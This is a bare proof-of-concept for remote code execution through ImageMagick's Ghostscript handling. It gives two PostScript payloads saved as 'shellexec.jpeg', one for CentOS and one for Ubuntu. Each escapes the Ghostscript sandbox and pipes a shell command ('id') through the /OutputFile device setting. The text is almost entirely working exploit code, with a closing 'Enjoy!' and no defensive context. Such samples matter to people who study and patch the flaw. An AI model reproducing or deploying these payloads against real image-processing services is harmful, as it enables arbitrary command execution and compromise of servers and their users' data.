ImageMagick Ghostscript RCE

POC

Centos

$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

Ubuntu

$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

Enjoy!